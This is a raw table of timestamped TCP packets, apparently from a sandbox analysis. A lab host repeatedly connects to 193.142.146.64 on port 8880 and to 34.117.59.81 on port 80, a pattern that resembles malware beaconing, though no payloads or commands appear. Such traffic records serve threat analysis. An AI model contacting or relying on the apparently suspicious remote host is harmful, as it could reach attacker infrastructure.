Oct 5, 2024 16:47:23.684648037 CEST	80	50456	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:24.136053085 CEST	80	50456	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:24.136648893 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:24.141493082 CEST	8880	50455	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:24.141650915 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:24.146553993 CEST	8880	50455	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:24.184417963 CEST	50456	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:25.221501112 CEST	8880	50455	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:25.221674919 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:25.226277113 CEST	50455	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:25.231137037 CEST	8880	50455	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:26.235372066 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:26.240521908 CEST	8880	50457	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:26.240648985 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:26.297866106 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:26.297952890 CEST	50456	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:26.303102970 CEST	80	50458	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:26.303210974 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:26.303584099 CEST	80	50456	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:26.303648949 CEST	50456	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:26.319240093 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:26.324275970 CEST	80	50458	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:26.773137093 CEST	80	50458	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:26.775782108 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:26.780678988 CEST	8880	50457	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:26.780755043 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:26.785572052 CEST	8880	50457	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:26.825022936 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:27.873677015 CEST	8880	50457	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:27.873759985 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:27.873981953 CEST	50457	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:27.878806114 CEST	8880	50457	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:28.888278008 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:29.853388071 CEST	8880	50459	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:29.853605986 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:29.875601053 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:29.875708103 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:29.880536079 CEST	80	50460	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:29.880625010 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:29.880857944 CEST	80	50458	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:29.880918026 CEST	50458	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:29.884742975 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:29.889556885 CEST	80	50460	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:30.381728888 CEST	80	50460	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:30.382047892 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:30.387187958 CEST	8880	50459	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:30.387264967 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:30.392168045 CEST	8880	50459	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:30.434463978 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:31.465913057 CEST	8880	50459	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:31.466085911 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:31.466264009 CEST	50459	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:31.471052885 CEST	8880	50459	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:32.488104105 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:32.498585939 CEST	8880	50461	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:32.498720884 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:32.512120008 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:32.512202024 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:32.517190933 CEST	80	50462	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:32.517297983 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:32.517427921 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:32.517474890 CEST	80	50460	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:32.517539978 CEST	50460	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:32.522289038 CEST	80	50462	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:33.169759035 CEST	80	50462	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:33.178252935 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:33.183284044 CEST	8880	50461	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:33.183372021 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:33.188252926 CEST	8880	50461	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:33.203136921 CEST	80	50462	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:33.203201056 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:34.124001980 CEST	8880	50461	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:34.124154091 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:34.124289036 CEST	50461	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:34.129082918 CEST	8880	50461	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:35.137994051 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:35.144851923 CEST	8880	50463	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:35.144980907 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:35.145867109 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:35.151243925 CEST	80	50462	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:35.151338100 CEST	50462	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:35.154558897 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:35.159755945 CEST	80	50464	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:35.159993887 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:35.160059929 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:35.165108919 CEST	80	50464	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:35.640785933 CEST	80	50464	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:35.642425060 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:35.647541046 CEST	8880	50463	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:35.647614956 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:35.652471066 CEST	8880	50463	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:35.684545994 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:36.780487061 CEST	8880	50463	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:36.780632019 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:36.780870914 CEST	50463	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:36.785952091 CEST	8880	50463	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:37.794135094 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:37.799165964 CEST	8880	50465	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:37.799247980 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:37.800065994 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:37.801074028 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:37.805138111 CEST	80	50464	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:37.805219889 CEST	50464	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:37.805836916 CEST	80	50466	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:37.805915117 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:37.806063890 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:37.810914040 CEST	80	50466	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:38.294878960 CEST	80	50466	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:38.295133114 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:38.300065994 CEST	8880	50465	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:38.300122976 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:38.305059910 CEST	8880	50465	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:38.340681076 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:39.419354916 CEST	8880	50465	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:39.419424057 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:39.419608116 CEST	50465	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:39.424390078 CEST	8880	50465	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:40.434802055 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:40.442785025 CEST	8880	50467	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:40.442923069 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:40.443799973 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:40.445101023 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:40.450442076 CEST	80	50466	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:40.450541019 CEST	50466	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:40.451319933 CEST	80	50468	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:40.451442957 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:40.452059031 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:40.458367109 CEST	80	50468	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:40.928097010 CEST	80	50468	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:40.930454969 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:40.935420036 CEST	8880	50467	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:40.935509920 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:40.940409899 CEST	8880	50467	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:40.996959925 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:42.060400963 CEST	8880	50467	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:42.060466051 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:42.060736895 CEST	50467	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:42.065612078 CEST	8880	50467	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:43.075480938 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:43.080415964 CEST	8880	50469	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:43.080518007 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:43.081850052 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:43.083209038 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:43.087502003 CEST	80	50468	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:43.087616920 CEST	50468	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:43.088104010 CEST	80	50470	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:43.088207960 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:43.088505030 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:43.093369007 CEST	80	50470	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:43.570760965 CEST	80	50470	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:43.570986986 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:43.575961113 CEST	8880	50469	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:43.576008081 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:43.580899000 CEST	8880	50469	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:43.625845909 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:44.702678919 CEST	8880	50469	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:44.702810049 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:44.702985048 CEST	50469	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:44.707837105 CEST	8880	50469	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:45.716147900 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:45.721280098 CEST	8880	50471	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:45.721412897 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:45.722122908 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:45.722856045 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:45.727375984 CEST	80	50470	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:45.727483034 CEST	50470	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:45.727915049 CEST	80	50472	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:45.727997065 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:45.728125095 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:45.732939005 CEST	80	50472	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:46.202620983 CEST	80	50472	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:46.203237057 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:46.208131075 CEST	8880	50471	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:46.208205938 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:46.215255976 CEST	8880	50471	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:46.247417927 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:47.429291964 CEST	8880	50471	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:47.429374933 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:47.429549932 CEST	50471	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:47.434334040 CEST	8880	50471	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:48.435740948 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:48.442066908 CEST	8880	50473	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:48.442203999 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:48.442950964 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.443598032 CEST	50474	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.448153973 CEST	80	50472	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:48.448496103 CEST	50472	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.449399948 CEST	80	50474	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:48.449480057 CEST	50474	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.449616909 CEST	50474	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.454406023 CEST	80	50474	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:48.926489115 CEST	80	50474	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:48.926985979 CEST	50474	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.927213907 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:48.933895111 CEST	8880	50473	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:48.933914900 CEST	80	50474	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:48.934056044 CEST	50474	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:48.934070110 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:48.941848040 CEST	8880	50473	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:50.061603069 CEST	8880	50473	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:50.061774969 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:50.063343048 CEST	50473	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:50.069740057 CEST	8880	50473	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:51.076934099 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:51.081912041 CEST	8880	50475	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:51.082618952 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:51.085625887 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:51.090523005 CEST	80	50476	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:51.090697050 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:51.091321945 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:51.096174955 CEST	80	50476	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:51.576253891 CEST	80	50476	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:51.576581955 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:51.581461906 CEST	8880	50475	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:51.581574917 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:51.586369991 CEST	8880	50475	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:51.622123957 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:52.702570915 CEST	8880	50475	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:52.702820063 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:52.724571943 CEST	50475	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:52.729582071 CEST	8880	50475	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:53.731916904 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:53.736895084 CEST	8880	50477	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:53.737039089 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:53.738468885 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:53.739907026 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:53.743963003 CEST	80	50476	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:53.744086027 CEST	50476	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:53.744756937 CEST	80	50478	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:53.744884014 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:53.745146036 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:53.749958038 CEST	80	50478	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:54.219775915 CEST	80	50478	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:54.220292091 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:54.225127935 CEST	8880	50477	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:54.225238085 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:54.230016947 CEST	8880	50477	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:54.262761116 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:55.356934071 CEST	8880	50477	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:55.357096910 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:55.357564926 CEST	50477	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:55.362304926 CEST	8880	50477	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:56.372380972 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:56.378855944 CEST	8880	50479	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:56.379076004 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:56.380481005 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:56.381759882 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:56.388164043 CEST	80	50478	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:56.388247013 CEST	50478	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:56.388695955 CEST	80	50480	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:56.388761044 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:56.388875961 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:56.395014048 CEST	80	50480	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:57.013525009 CEST	80	50480	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:57.014885902 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:57.019731045 CEST	8880	50479	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:57.019804955 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:57.024612904 CEST	8880	50479	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:57.059578896 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:58.017091990 CEST	8880	50479	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:58.017374039 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:58.017705917 CEST	50479	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:58.022489071 CEST	8880	50479	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:59.033646107 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:59.038672924 CEST	8880	50481	193.142.146.64	192.168.2.7
Oct 5, 2024 16:47:59.038917065 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:47:59.047637939 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:59.052731991 CEST	80	50480	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:59.052798986 CEST	50480	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:59.054945946 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:59.059804916 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:47:59.059880018 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:59.062292099 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:47:59.067094088 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:00.299155951 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:00.299403906 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:00.299578905 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:00.299638987 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:00.299741983 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:00.299784899 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:00.304223061 CEST	8880	50481	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:00.304353952 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:00.309137106 CEST	8880	50481	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:00.673499107 CEST	8880	50481	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:00.673696995 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:00.674089909 CEST	50481	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:00.679476976 CEST	8880	50481	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:01.688294888 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:01.693258047 CEST	8880	50483	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:01.693382025 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:01.694211006 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:01.694933891 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:01.699467897 CEST	80	50482	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:01.699659109 CEST	50482	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:01.699975014 CEST	80	50484	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:01.700042963 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:01.714131117 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:01.719136000 CEST	80	50484	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:02.192806005 CEST	80	50484	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:02.193048000 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:02.197894096 CEST	8880	50483	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:02.197951078 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:02.202714920 CEST	8880	50483	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:02.247009039 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:03.311130047 CEST	8880	50483	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:03.311244011 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:03.311429977 CEST	50483	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:03.318552971 CEST	8880	50483	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:04.325375080 CEST	50485	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:04.330435991 CEST	8880	50485	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:04.330598116 CEST	50485	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:04.331206083 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.332082987 CEST	50486	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.336500883 CEST	80	50484	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:04.336620092 CEST	50484	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.336972952 CEST	80	50486	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:04.337116957 CEST	50486	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.337232113 CEST	50486	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.342060089 CEST	80	50486	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:04.810293913 CEST	80	50486	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:04.820040941 CEST	50485	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:04.820097923 CEST	50486	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.824837923 CEST	8880	50485	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:04.824903965 CEST	50485	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:04.825092077 CEST	80	50486	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:04.825850964 CEST	50486	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:04.829714060 CEST	8880	50485	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:05.951164961 CEST	8880	50485	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:05.951297045 CEST	50485	8880	192.168.2.7	193.142.146.64
